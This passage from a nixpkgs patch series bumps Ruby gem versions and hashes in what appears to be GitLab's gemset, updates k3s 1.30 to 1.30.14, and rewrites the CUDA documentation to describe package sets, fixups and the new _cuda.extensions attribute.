     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "0l87r9jg06nsh24gwwd1jdnxb1zq89ffybnxab0dd90nfcf0ysw5";
+      sha256 = "00w9imp55hi81q0wsgwak90ldkk7gbyb8nzmmv8hy0s907s8z8bp";
       type = "gem";
     };
-    version = "1.1.0";
+    version = "1.1.1";
   };
   faraday-net_http = {
     dependencies = [ "net-http" ];
@@ -2857,10 +2844,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "0d5zrz5vgb8zrnri42awqfvcq9kfzlrc032nprknddpb9iagbsmr";
+      sha256 = "02bpl0jz8m7kfa5alkc90cbajkxy5fggva10zh7cgii3y912msqn";
       type = "gem";
     };
-    version = "1.17.0";
+    version = "1.21.0";
   };
   gitlab-crystalball = {
     dependencies = [
@@ -2874,10 +2861,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "1a42qg2m7w0qn7as3zrc4v7lrxig532izi7yb2w8rbcwm114fcdx";
+      sha256 = "1vdqa11dchcmlkph9almmxjq9qsgcfv0n460lyghx7l0n09s2r04";
       type = "gem";
     };
-    version = "1.1.0";
+    version = "1.1.1";
   };
   gitlab-dangerfiles = {
     dependencies = [
@@ -2994,29 +2981,31 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "0lsz61cr7i3d72i6rxvbfqbq6f5anzbbmhmrmr7mprna4dy93d7q";
+      sha256 = "07d5jav33nvl83s83yd9fg6vv636n65ybni6m6k3yvlfxygpb3wn";
       type = "gem";
     };
-    version = "17.11.3";
+    version = "18.1.0";
   };
   gitlab-labkit = {
     dependencies = [
       "actionpack"
       "activesupport"
+      "google-protobuf"
       "grpc"
       "jaeger-client"
       "opentracing"
       "pg_query"
+      "prometheus-client-mmap"
       "redis"
     ];
     groups = [ "default" ];
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "0w7szxnvh9hvxcragnqvn37c6jpm4gf7aadzxslajj91vdh0mpfj";
+      sha256 = "07jpj78nnjmgz9brxxzqbx7l9fajyfq74l4vjavqmnff18vgr0gf";
       type = "gem";
     };
-    version = "0.37.0";
+    version = "0.39.0";
   };
   gitlab-license = {
     groups = [ "default" ];
@@ -3156,24 +3145,25 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "0b4908vic675qq1mh1i45vh5z9vdg1ynanxdbdzaazxvjkakdwzd";
+      sha256 = "14ds4l7802ypxx56pid7xlhnlbk5ir9zc8adfm96yy9k2sgfmdnf";
       type = "gem";
     };
-    version = "0.29.1";
+    version = "0.33.0";
   };
   gitlab-security_report_schemas = {
     dependencies = [
       "activesupport"
       "json_schemer"
+      "mutex_m"
     ];
     groups = [ "default" ];
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "1bl0qrmb6xci719zxnaizja2pf0wabzi91b49y0immf9gr43f01h";
+      sha256 = "0v4sfh2497g5w5hhf89wjgvjbasa13hfgm0r05myzd5hbv7v2h3f";
       type = "gem";
     };
-    version = "0.1.2.min15.0.0.max15.2.1";
+    version = "0.1.3.min15.0.0.max15.2.2";
   };
   gitlab-sidekiq-fetcher = {
     dependencies = [
@@ -3589,20 +3579,6 @@ src: {
     };
     version = "0.6.0";
   };
-  google-cloud-profiler-v2 = {
-    dependencies = [
-      "gapic-common"
-      "google-cloud-errors"
-    ];
-    groups = [ "default" ];
-    platforms = [ ];
-    source = {
-      remotes = [ "https://rubygems.org" ];
-      sha256 = "1qyknlvwji7vqhani490cacsrzlqfza10hv47him93yhfnqjmz2k";
-      type = "gem";
-    };
-    version = "0.4.0";
-  };
   google-cloud-storage = {
     dependencies = [
       "addressable"
@@ -4050,10 +4026,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "1jf9dxgjz6z7fvymyz2acyvn9iyvwkn6d9sk7y4fxwbmfc75yimm";
+      sha256 = "1da0w5v7ppxrgvh58bafjklzv73nknyq73if6d9rkz2v24zg3169";
       type = "gem";
     };
-    version = "1.1.0";
+    version = "1.2.0";
   };
   hashie = {
     groups = [ "default" ];
@@ -4697,10 +4673,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "18msiw0b3krm9krxrahiladblh6pjpj395wcjjw2fvsimwyy7vk4";
+      sha256 = "11g6iqlsck4ypjfg1b7pkcisy5qbm774rwbwdz2rka5lcccky9qs";
       type = "gem";
     };
-    version = "1.11.13";
+    version = "1.11.16";
   };
   letter_opener = {
     dependencies = [ "launchy" ];
@@ -5672,10 +5648,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "1km0wqx9pj609jidvrqfsvzbzfgdnlpdnv7i7xfqm3wb55vk5w6y";
+      sha256 = "1hjnb5b5m549irs0h1455ipzsv82pikdagx9wjb6r4j1bkjy494d";
       type = "gem";
     };
-    version = "2.1.2";
+    version = "2.1.3";
   };
   omniauth-alicloud = {
     dependencies = [ "omniauth-oauth2" ];
@@ -5920,10 +5896,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "054d6ybgjdzxw567m7rbnd46yp6gkdbc5ihr536vxd3p15vbhjrw";
+      sha256 = "0ygfbbs3c61d32ymja2k6sznj5pr540cip9z91lhzcvsr4zmffpz";
       type = "gem";
     };
-    version = "3.2.0";
+    version = "3.3.0";
   };
   openssl-signature_algorithm = {
     dependencies = [ "openssl" ];
@@ -6960,10 +6936,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "1yzhcwvfkrlb8l79w24yjclv636jn6rnznp95shmssk934bi1vnc";
+      sha256 = "1pcr8sn02lwzv3z6vx5n41b6ybcnw9g9h05s3lkv4vqdm0f2mq2z";
       type = "gem";
     };
-    version = "2.2.13";
+    version = "2.2.17";
   };
   rack-accept = {
     dependencies = [ "rack" ];
@@ -7314,10 +7290,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "1p65p6f917al0f07sn5ca9yj92f7mk52xgnp0ahqpyrb8r6sdjz8";
+      sha256 = "158qydqnrn1r0gm806j0bn439y0dyzdpscwi1sm3ldl1mcid5mx2";
       type = "gem";
     };
-    version = "0.5.1";
+    version = "0.5.2";
   };
   rchardet = {
     groups = [
@@ -8063,20 +8039,6 @@ src: {
     };
     version = "2.30.0";
   };
-  ruby-fogbugz = {
-    dependencies = [
-      "crack"
-      "multipart-post"
-    ];
-    groups = [ "default" ];
-    platforms = [ ];
-    source = {
-      remotes = [ "https://rubygems.org" ];
-      sha256 = "0mznsnhsgh1yg57j5gighr9vjricnix1l7ngf654k3v4fkjcs12y";
-      type = "gem";
-    };
-    version = "0.3.0";
-  };
   ruby-lsp = {
     dependencies = [
       "language_server-protocol"
@@ -8110,10 +8072,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "1lv886262vzmjpgcd0759zn86yaidjn1wznnscn75saj4d81bafj";
+      sha256 = "08m2fw4f784lkbyz5rbzdhj57p0x2pfygk66ls0qsn5avnv7izs1";
       type = "gem";
     };
-    version = "0.1.23";
+    version = "0.1.24";
   };
   ruby-magic = {
     dependencies = [ "mini_portile2" ];
@@ -8704,10 +8666,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "1kpsdfkj6yvd5ndhj5vbll4591lwg4gjrf5c61ffj8vvy4j93z0d";
+      sha256 = "1wxzz7580h6k2sghj9p1ss33i6nlmpmwqawi6ilr87si233rwgxc";
       type = "gem";
     };
-    version = "0.5.1";
+    version = "0.5.2";
   };
   sorbet-runtime = {
     groups = [
@@ -8772,21 +8734,18 @@ src: {
   };
   sprockets = {
     dependencies = [
+      "base64"
       "concurrent-ruby"
       "rack"
     ];
-    groups = [
-      "default"
-      "development"
-      "test"
-    ];
+    groups = [ "default" ];
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "182jw5a0fbqah5w9jancvfmjbk88h8bxdbwnl4d3q809rpxdg8ay";
+      sha256 = "10ykzsa76cf8kvbfkszlvbyn4ckcx1mxjhfvwxzs7y28cljhzhkj";
       type = "gem";
     };
-    version = "3.7.2";
+    version = "3.7.5";
   };
   sprockets-rails = {
     dependencies = [
@@ -9475,6 +9434,8 @@ src: {
       "imagen"
       "rainbow"
       "rugged"
+      "simplecov"
+      "simplecov_json_formatter"
     ];
     groups = [
       "coverage"
@@ -9484,10 +9445,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "06pc56qly4c8ygwg9hyay1vmxq75clm62ljw0s9ljamm57qzqd1w";
+      sha256 = "0kd7rk9qf9gx53i8jrkc1fjl2bjjxyw9cd1i784ipnfl3dc0da8s";
       type = "gem";
     };
-    version = "0.6.4";
+    version = "0.7.0";
   };
   unf = {
     dependencies = [ "unf_ext" ];

From b12b630d468f40d920a15300be72e06b758526c3 Mon Sep 17 00:00:00 2001
From: Robert Rose <robert.rose@mailbox.org>
Date: Thu, 3 Jul 2025 22:50:16 +0200
Subject: [PATCH 2752/4511] k3s_1_30: 1.30.13+k3s1 -> 1.30.14+k3s1

https://github.com/k3s-io/k3s/releases/tag/v1.30.14%2Bk3s1
(cherry picked from commit a29822203f3f971b6767d45cde0e637111d123c2)
---
 .../cluster/k3s/1_30/images-versions.json        | 16 ++++++++--------
 .../networking/cluster/k3s/1_30/versions.nix     | 12 ++++++------
 2 files changed, 14 insertions(+), 14 deletions(-)

diff --git a/pkgs/applications/networking/cluster/k3s/1_30/images-versions.json b/pkgs/applications/networking/cluster/k3s/1_30/images-versions.json
index e743117c1058..9a4809f6b0bf 100644
--- a/pkgs/applications/networking/cluster/k3s/1_30/images-versions.json
+++ b/pkgs/applications/networking/cluster/k3s/1_30/images-versions.json
@@ -1,18 +1,18 @@
 {
   "airgap-images-amd64": {
-    "url": "https://github.com/k3s-io/k3s/releases/download/v1.30.13%2Bk3s1/k3s-airgap-images-amd64.tar.zst",
-    "sha256": "35c11584d2fdc528a02c8ac9de083e94b7f8992002a8d6142d4725a533049ea1"
+    "url": "https://github.com/k3s-io/k3s/releases/download/v1.30.14%2Bk3s1/k3s-airgap-images-amd64.tar.zst",
+    "sha256": "0517c1a3bec942b78ab456643b614700296aba1bd0ca2399883aadeb22b6de5d"
   },
   "airgap-images-arm": {
-    "url": "https://github.com/k3s-io/k3s/releases/download/v1.30.13%2Bk3s1/k3s-airgap-images-arm.tar.zst",
-    "sha256": "a9ca95599c2c8240e0fffdcab81178912ffa02924ed3d42997604186fbf2f9ff"
+    "url": "https://github.com/k3s-io/k3s/releases/download/v1.30.14%2Bk3s1/k3s-airgap-images-arm.tar.zst",
+    "sha256": "d8f77b6121d40ea19c6f0658d82158a782507730ba183ebe76643d90d67f736f"
   },
   "airgap-images-arm64": {
-    "url": "https://github.com/k3s-io/k3s/releases/download/v1.30.13%2Bk3s1/k3s-airgap-images-arm64.tar.zst",
-    "sha256": "09ca4a9a1c1da1923538d7a2659b1166e2257d33a1478939ca28f6a08a048cf1"
+    "url": "https://github.com/k3s-io/k3s/releases/download/v1.30.14%2Bk3s1/k3s-airgap-images-arm64.tar.zst",
+    "sha256": "7edb77c4c586f661b9bf156aea4f5d35b5b390a315bae11140f425cd3ed729eb"
   },
   "images-list": {
-    "url": "https://github.com/k3s-io/k3s/releases/download/v1.30.13%2Bk3s1/k3s-images.txt",
-    "sha256": "7a53b3def0199b17de6ec690d13ae2001fb83809258d28d985eafa69869c3aa9"
+    "url": "https://github.com/k3s-io/k3s/releases/download/v1.30.14%2Bk3s1/k3s-images.txt",
+    "sha256": "ebe55bbef8ec772071bf736c9671e444aa31ac259e86bfb65180d2405b314c5e"
   }
 }
diff --git a/pkgs/applications/networking/cluster/k3s/1_30/versions.nix b/pkgs/applications/networking/cluster/k3s/1_30/versions.nix
index 503c663cbf8c..e4dcaaa65ad0 100644
--- a/pkgs/applications/networking/cluster/k3s/1_30/versions.nix
+++ b/pkgs/applications/networking/cluster/k3s/1_30/versions.nix
@@ -1,14 +1,14 @@
 {
-  k3sVersion = "1.30.13+k3s1";
-  k3sCommit = "e77f78ee94664d4d5ac34e2c4b8d438dac52c088";
-  k3sRepoSha256 = "0hy9pn9cdxixllj8zm4jq65jlrvihiysvhdmkxjgn82n3snhwrgq";
-  k3sVendorHash = "sha256-2q9gWVCe3GhAF9YDMX4B9djz5/DliRHingJbXmTwmGE=";
+  k3sVersion = "1.30.14+k3s1";
+  k3sCommit = "a7f3d379effef5e0979996339172adb4f87d78df";
+  k3sRepoSha256 = "0kgsfv9bva440a79xgwwdjvhqswzx91mzgf8qishvlwrrw1w0vcm";
+  k3sVendorHash = "sha256-y1UCvafEdFozMlWWd0Yunu4oIkLsHnV4IMTq1RLJ87M=";
   chartVersions = import ./chart-versions.nix;
   imagesVersions = builtins.fromJSON (builtins.readFile ./images-versions.json);
   k3sRootVersion = "0.14.1";
   k3sRootSha256 = "0svbi42agqxqh5q2ri7xmaw2a2c70s7q5y587ls0qkflw5vx4sl7";
-  k3sCNIVersion = "1.6.0-k3s1";
-  k3sCNISha256 = "0g7zczvwba5xqawk37b0v96xysdwanyf1grxn3l3lhxsgjjsmkd7";
+  k3sCNIVersion = "1.7.1-k3s1";
+  k3sCNISha256 = "0k1qfmsi5bqgwd5ap8ndimw09hsxn0cqf4m5ad5a4mgl6akw6dqz";
   containerdVersion = "1.7.27-k3s1";
   containerdSha256 = "1w6ia9a7qs06l9wh44fpf1v2ckf2lfp9sjzk0bg4fjw5ds9sxws0";
   criCtlVersion = "1.29.0-k3s1";

From d028c1cb8132985605c6142b30b8772df1ef79f4 Mon Sep 17 00:00:00 2001
From: Connor Baker <ConnorBaker01@gmail.com>
Date: Tue, 13 May 2025 17:23:37 +0000
Subject: [PATCH 2753/4511] doc: CUDA section fixups and describe _cuda.fixups

Signed-off-by: Connor Baker <ConnorBaker01@gmail.com>
(cherry picked from commit b0f64f56be60f27fe8e6db66e501b8be7501798c)
---
 doc/languages-frameworks/cuda.section.md | 162 ++++++++++++++++-------
 doc/redirects.json                       | 109 ++++++++-------
 2 files changed, 176 insertions(+), 95 deletions(-)

diff --git a/doc/languages-frameworks/cuda.section.md b/doc/languages-frameworks/cuda.section.md
index 39ad3a564b56..01d92a322d72 100644
--- a/doc/languages-frameworks/cuda.section.md
+++ b/doc/languages-frameworks/cuda.section.md
@@ -1,69 +1,141 @@
 # CUDA {#cuda}
 
-CUDA-only packages are stored in the `cudaPackages` packages set. This set
-includes the `cudatoolkit`, portions of the toolkit in separate derivations,
-`cudnn`, `cutensor` and `nccl`.
+Compute Unified Device Architecture (CUDA) is a parallel computing platform and application programming interface (API) model created by NVIDIA. It's commonly used to accelerate computationally intensive problems and has been widely adopted for High Performance Computing (HPC) and Machine Learning (ML) applications.
 
-A package set is available for each CUDA version, so for example
-`cudaPackages_11_6`. Within each set is a matching version of the above listed
-packages. Additionally, other versions of the packages that are packaged and
-compatible are available as well. For example, there can be a
-`cudaPackages.cudnn_8_3` package.
+Packages provided by NVIDIA which require CUDA are typically stored in CUDA package sets.
+
+Nixpkgs provides a number of CUDA package sets, each based on a different CUDA release. Top-level attributes providing access to CUDA package sets follow these naming conventions:
+
+- `cudaPackages_x_y`: A major-minor-versioned package set for a specific CUDA release, where `x` and `y` are the major and minor versions of the CUDA release.
+- `cudaPackages_x`: A major-versioned alias to the major-minor-versioned CUDA package set with the latest widely supported major CUDA release.
+- `cudaPackages`: An alias to the major-versioned alias for the latest widely supported CUDA release. This package set referenced by this alias is also referred to as the "default" CUDA package set. As an example, which is an alias to the most recent variant of `cudaPackages_x`. This is also referred to as the "default" CUDA package set.
+
+Here are two examples to illustrate the naming conventions:
+
+- If `cudaPackages_12_8` is the latest release in the 12.x series, but core libraries like OpenCV or ONNX Runtime fail to build with it, `cudaPackages_12` may alias `cudaPackages_12_6` instead of `cudaPackages_12_8`.
+- If `cudaPackages_13_1` is the latest release, but core libraries like PyTorch or Torch Vision fail to build with it, `cudaPackages` may alias `cudaPackages_12` instead of `cudaPackages_13`.
+
+All CUDA package sets include common CUDA packages like `libcublas`, `cudnn`, `tensorrt`, and `nccl`.
+
+## Configuring Nixpkgs for CUDA {#cuda-configuring-nixpkgs-for-cuda}
+
+CUDA support is not enabled by default in Nixpkgs. To enable CUDA support, make sure Nixpkgs is imported with a configuration similar to the following:
+
+```nix
+{
+  allowUnfreePredicate =
+    let
+      ensureList = x: if builtins.isList x then x else [ x ];
+    in
+    package:
+    builtins.all (
+      license:
+      license.free
+      || builtins.elem license.shortName [
+        "CUDA EULA"
+        "cuDNN EULA"
+        "cuSPARSELt EULA"
+        "cuTENSOR EULA"
+        "NVidia OptiX EULA"
+      ]
+    ) (ensureList package.meta.license);
+  cudaCapabilities = [ <target-architectures> ];
+  cudaForwardCompat = true;
+  cudaSupport = true;
+}
+```
+
+The majority of CUDA packages are unfree, so either `allowUnfreePredicate` or `allowUnfree` should be set.
+
+The `cudaSupport` configuration option is used by packages to conditionally enable CUDA-specific functionality. This configuration option is commonly used by packages which can be built with or without CUDA support.
+
+The `cudaCapabilities` configuration option specifies a list of CUDA capabilities. Packages may use this option to control device code generation to take advantage of architecture-specific functionality, speed up compile times by producing less device code, or slim package closures. As an example, one can build for Ada Lovelace GPUs with `cudaCapabilities = [ "8.9" ];`. If `cudaCapabilities` is not provided, the default value is calculated per-package set, derived from a list of GPUs supported by that version of CUDA. Please consult [supported GPUs](https://en.wikipedia.org/wiki/CUDA#GPUs_supported) for specific cards. Library maintainers should consult [NVCC Docs](https://docs.nvidia.com/cuda/cuda-compiler-driver-nvcc/) and its release notes.
+
+::: {.caution}
+Certain CUDA capabilities are not targeted by default, including capabilities belonging to the Jetson family of devices (like `8.7`, which corresponds to the Jetson Orin) or non-baseline feature-sets (like `9.0a`, which corresponds to the Hopper exclusive feature set). If you need to target these capabilities, you must explicitly set `cudaCapabilities` to include them.
+:::
+
+The `cudaForwardCompat` boolean configuration option determines whether PTX support for future hardware is enabled.
+
+## Configuring CUDA package sets {#cuda-configuring-cuda-package-sets}
+
+CUDA package sets are created by `callPackage`-ing `pkgs/top-level/cuda-packages.nix` with an explicit argument for `cudaMajorMinorVersion`, a string of the form `"<major>.<minor>"` (e.g., `"12.2"`), which informs the CUDA package set tooling which version of CUDA to use. The majority of the CUDA package set tooling is available through the top-level attribute set `_cuda`, a fixed-point which exists apart from any instance of the CUDA package set.
+
+::: {.caution}
+The `cudaMajorMinorVersion` and `_cuda` attributes are not part of the CUDA package set fixed-point, but are instead provided by `callPackage` from the top-level in the construction of the package set. As such, they must be modified via the package set's `override` attribute.
+:::
+
+::: {.caution}
+As indicated by the underscore prefix, `_cuda` is an implementation detail and no guarantees are provided with respect to its stability or API. The `_cuda` attribute set is exposed only to ease creation or modification of CUDA package sets by expert, out-of-tree users.
+:::
+
+::: {.note}
+The `_cuda` attribute set fixed-point should be modified through its `extend` attribute.
+:::
+
+The `_cuda.fixups` attribute set is a mapping from package name to a `callPackage`-able expression which will be provided to `overrideAttrs` on the result of our generic builder.
+
+::: {.caution}
+Fixups are chosen from `_cuda.fixups` by `pname`. As a result, packages with multiple versions (e.g., `cudnn`, `cudnn_8_9`, etc.) all share a single fixup function (i.e., `_cuda.fixups.cudnn`, which is `pkgs/development/cuda-modules/fixups/cudnn.nix`).
+:::
+
+As an example, you can change the fixup function used for cuDNN for only the default CUDA package set with this overlay:
+
+```nix
+final: prev: {
+  cudaPackages = prev.cudaPackages.override (prevAttrs: {
+    _cuda = prevAttrs._cuda.extend (
+      _: prevAttrs': {
+        fixups = prevAttrs'.fixups // {
+          cudnn = <your-fixup-function>;
+        };
+      }
+    );
+  });
+}
+```
+
+## Using cudaPackages {#cuda-using-cudapackages}
+
+::: {.caution}
+A non-trivial amount of CUDA package discoverability and usability relies on the various setup hooks used by a CUDA package set. As a result, users will likely encounter issues trying to perform builds within a `devShell` without manually invoking phases.
+:::
+
+Nixpkgs makes CUDA package sets available under a number of attributes. While versioned package sets are available (e.g., `cudaPackages_12_2`), it is recommended to use the unversioned `cudaPackages` attribute, which is an alias to the latest version, as versioned attributes are periodically removed.
+
+To use one or more CUDA packages in an expression, give the expression a `cudaPackages` parameter, and in case CUDA support is optional, add a `config` and `cudaSupport` parameter:
 
-To use one or more CUDA packages in an expression, give the expression a `cudaPackages` parameter, and in case CUDA is optional
 ```nix
 {
   config,
   cudaSupport ? config.cudaSupport,
-  cudaPackages ? { },
-  ...
+  cudaPackages,
 }:
-{ }
+<package-expression>
 ```
 
-When using `callPackage`, you can choose to pass in a different variant, e.g.
-when a different version of the toolkit suffices
+In your package's derivation arguments, it is _strongly_ recommended the following are set:
+
 ```nix
 {
-  mypkg = callPackage { cudaPackages = cudaPackages_11_5; };
+  __structuredAttrs = true;
+  strictDeps = true;
 }
 ```
 
-If another version of say `cudnn` or `cutensor` is needed, you can override the
-package set to make it the default. This guarantees you get a consistent package
-set.
+These settings ensure that the CUDA setup hooks function as intended.
+
+When using `callPackage`, you can choose to pass in a different variant, e.g. when a package requires a specific version of CUDA:
+
 ```nix
 {
-  mypkg =
-    let
-      cudaPackages = cudaPackages_11_5.overrideScope (
-        final: prev: {
-          cudnn = prev.cudnn_8_3;
-        }
-      );
-    in
-    callPackage { inherit cudaPackages; };
+  mypkg = callPackage { cudaPackages = cudaPackages_12_2; };
 }
 ```
 
-The CUDA NVCC compiler requires flags to determine which hardware you
-want to target for in terms of SASS (real hardware) or PTX (JIT kernels).
-
-Nixpkgs tries to target support real architecture defaults based on the
-CUDA toolkit version with PTX support for future hardware.  Experienced
-users may optimize this configuration for a variety of reasons such as
-reducing binary size and compile time, supporting legacy hardware, or
-optimizing for specific hardware.
-
-You may provide capabilities to add support or reduce binary size through
-`config` using `cudaCapabilities = [ "6.0" "7.0" ];` and
-`cudaForwardCompat = true;` if you want PTX support for future hardware.
-
-Please consult [GPUs supported](https://en.wikipedia.org/wiki/CUDA#GPUs_supported)
-for your specific card(s).
-
-Library maintainers should consult [NVCC Docs](https://docs.nvidia.com/cuda/cuda-compiler-driver-nvcc/)
-and release notes for their software package.
+::: {.caution}
+Overriding the CUDA package set used by a package may cause inconsistencies, since the override does not affect dependencies of the package. As a result, it is easy to end up with a package which uses a different CUDA package set than its dependencies. If at all possible, it is recommended to change the default CUDA package set globally, to ensure a consistent environment.
+:::
 
 ## Running Docker or Podman containers with CUDA support {#cuda-docker-podman}
 
diff --git a/doc/redirects.json b/doc/redirects.json
index b3d783adead9..89aea52d2943 100644
--- a/doc/redirects.json
+++ b/doc/redirects.json
@@ -17,6 +17,65 @@
   "cmake-ctest-variables": [
     "index.html#cmake-ctest-variables"
   ],
+  "cuda": [
+    "index.html#cuda"
+  ],
+  "cuda-configuring-cuda-package-sets": [
+    "index.html#cuda-configuring-cuda-package-sets"
+  ],
+  "cuda-configuring-nixpkgs-for-cuda": [
+    "index.html#cuda-configuring-nixpkgs-for-cuda"
+  ],
+  "cuda-contributing": [
+    "index.html#cuda-contributing"
+  ],
+  "cuda-docker-podman": [
+    "index.html#cuda-docker-podman"
+  ],
+  "cuda-package-set-maintenance": [
+    "index.html#cuda-package-set-maintenance",
+    "index.html#adding-a-new-cuda-release"
+  ],
+  "cuda-passthru-testers": [
+    "index.html#cuda-passthru-testers"
+  ],
+  "cuda-passthru-tests": [
+    "index.html#cuda-passthru-tests"
+  ],
+  "cuda-specifying-what-devices-to-expose-to-the-container": [
+    "index.html#cuda-specifying-what-devices-to-expose-to-the-container",
+    "index.html#specifying-what-devices-to-expose-to-the-container"
+  ],
+  "cuda-updating-redistributables": [
+    "index.html#cuda-updating-redistributables",
+    "index.html#updating-cuda-redistributables"
+  ],
+  "cuda-updating-cutensor": [
+    "index.html#cuda-updating-cutensor",
+    "index.html#updating-cutensor"
+  ],
+  "cuda-updating-supported-compilers-and-gpus": [
+    "index.html#cuda-updating-supported-compilers-and-gpus",
+    "index.html#updating-supported-compilers-and-gpus"
+  ],
+  "cuda-updating-the-cuda-package-set": [
+    "index.html#cuda-updating-the-cuda-package-set",
+    "index.html#updating-the-cuda-package-set"
+  ],
+  "cuda-updating-the-cuda-toolkit": [
+    "index.html#cuda-updating-the-cuda-toolkit",
+    "index.html#updating-the-cuda-toolkit"
+  ],
+  "cuda-using-cudapackages": [
+    "index.html#cuda-using-cudapackages"
+  ],
+  "cuda-using-docker-compose": [
+    "index.html#cuda-using-docker-compose",
+    "index.html#using-docker-compose"
+  ],
+  "cuda-writing-tests": [
+    "index.html#cuda-writing-tests"
+  ],
   "ex-build-helpers-extendMkDerivation": [
     "index.html#ex-build-helpers-extendMkDerivation"
   ],
@@ -2681,56 +2740,6 @@
   "building-a-crystal-package": [
     "index.html#building-a-crystal-package"
   ],
-  "cuda": [
-    "index.html#cuda"
-  ],
-  "cuda-contributing": [
-    "index.html#cuda-contributing"
-  ],
-  "cuda-docker-podman": [
-    "index.html#cuda-docker-podman"
-  ],
-  "cuda-package-set-maintenance": [
-    "index.html#cuda-package-set-maintenance",
-    "index.html#adding-a-new-cuda-release"
-  ],
-  "cuda-passthru-testers": [
-    "index.html#cuda-passthru-testers"
-  ],
-  "cuda-passthru-tests": [
-    "index.html#cuda-passthru-tests"
-  ],
-  "cuda-specifying-what-devices-to-expose-to-the-container": [
-    "index.html#cuda-specifying-what-devices-to-expose-to-the-container",
-    "index.html#specifying-what-devices-to-expose-to-the-container"
-  ],
-  "cuda-updating-redistributables": [
-    "index.html#cuda-updating-redistributables",
-    "index.html#updating-cuda-redistributables"
-  ],
-  "cuda-updating-cutensor": [
-    "index.html#cuda-updating-cutensor",
-    "index.html#updating-cutensor"
-  ],
-  "cuda-updating-supported-compilers-and-gpus": [
-    "index.html#cuda-updating-supported-compilers-and-gpus",
-    "index.html#updating-supported-compilers-and-gpus"
-  ],
-  "cuda-updating-the-cuda-package-set": [
-    "index.html#cuda-updating-the-cuda-package-set",
-    "index.html#updating-the-cuda-package-set"
-  ],
-  "cuda-updating-the-cuda-toolkit": [
-    "index.html#cuda-updating-the-cuda-toolkit",
-    "index.html#updating-the-cuda-toolkit"
-  ],
-  "cuda-using-docker-compose": [
-    "index.html#cuda-using-docker-compose",
-    "index.html#using-docker-compose"
-  ],
-  "cuda-writing-tests": [
-    "index.html#cuda-writing-tests"
-  ],
   "cuelang": [
     "index.html#cuelang"
   ],

From c2c335d15e22174f1c08ccea7c98e04f91eeadbb Mon Sep 17 00:00:00 2001
From: Connor Baker <ConnorBaker01@gmail.com>
Date: Tue, 13 May 2025 17:30:40 +0000
Subject: [PATCH 2754/4511] _cuda.extensions: make overriding all CUDA package
 sets easier

Signed-off-by: Connor Baker <ConnorBaker01@gmail.com>
(cherry picked from commit 36d409bc3a3f3a6967848ca3bb969d747cdf2c86)
---
 doc/languages-frameworks/cuda.section.md        | 16 ++++++++++++++++
 doc/redirects.json                              |  3 +++
 pkgs/development/cuda-modules/_cuda/default.nix |  1 +
 pkgs/top-level/cuda-packages.nix                |  1 +
 4 files changed, 21 insertions(+)

diff --git a/doc/languages-frameworks/cuda.section.md b/doc/languages-frameworks/cuda.section.md
index 01d92a322d72..b4475614748f 100644
--- a/doc/languages-frameworks/cuda.section.md
+++ b/doc/languages-frameworks/cuda.section.md
@@ -95,6 +95,22 @@ final: prev: {
 }
 ```
 
+## Extending CUDA package sets {#cuda-extending-cuda-package-sets}
+
+CUDA package sets are scopes, so they provide the usual `overrideScope` attribute for overriding package attributes (see the note about `cudaMajorMinorVersion` and `_cuda` in [Configuring CUDA package sets](#cuda-configuring-cuda-package-sets)).
+
+Inspired by `pythonPackagesExtensions`, the `_cuda.extensions` attribute is a list of extensions applied to every version of the CUDA package set, allowing modification of all versions of the CUDA package set without having to know what they are or find a way to enumerate and modify them explicitly. As an example, disabling `cuda_compat` across all CUDA package sets can be accomplished with this overlay:
+
+```nix
+final: prev: {
+  _cuda = prev._cuda.extend (
+    _: prevAttrs: {
+      extensions = prevAttrs.extensions ++ [ (_: _: { cuda_compat = null; }) ];
+    }
+  );
+}
+```
+
 ## Using cudaPackages {#cuda-using-cudapackages}
 
 ::: {.caution}
diff --git a/doc/redirects.json b/doc/redirects.json
index 89aea52d2943..2ffb1a1f05d3 100644
--- a/doc/redirects.json
+++ b/doc/redirects.json
@@ -32,6 +32,9 @@
   "cuda-docker-podman": [
     "index.html#cuda-docker-podman"
   ],
+  "cuda-extending-cuda-package-sets": [
+    "index.html#cuda-extending-cuda-package-sets"
+  ],
   "cuda-package-set-maintenance": [
     "index.html#cuda-package-set-maintenance",
     "index.html#adding-a-new-cuda-release"
diff --git a/pkgs/development/cuda-modules/_cuda/default.nix b/pkgs/development/cuda-modules/_cuda/default.nix
index 0f6f80506616..fdbac3c8fbd7 100644
--- a/pkgs/development/cuda-modules/_cuda/default.nix
+++ b/pkgs/development/cuda-modules/_cuda/default.nix
@@ -22,6 +22,7 @@ lib.fixedPoints.makeExtensible (final: {
     inherit (final) bootstrapData db;
     inherit lib;
   };
+  extensions = [ ]; # Extensions applied to every CUDA package set.
   fixups = import ./fixups { inherit lib; };
   lib = import ./lib {
     _cuda = final;
diff --git a/pkgs/top-level/cuda-packages.nix b/pkgs/top-level/cuda-packages.nix
index 53dd4b6029ea..72fea9de9ec4 100644
--- a/pkgs/top-level/cuda-packages.nix
+++ b/pkgs/top-level/cuda-packages.nix
@@ -205,6 +205,7 @@ let
     ++ lib.optionals config.allowAliases [
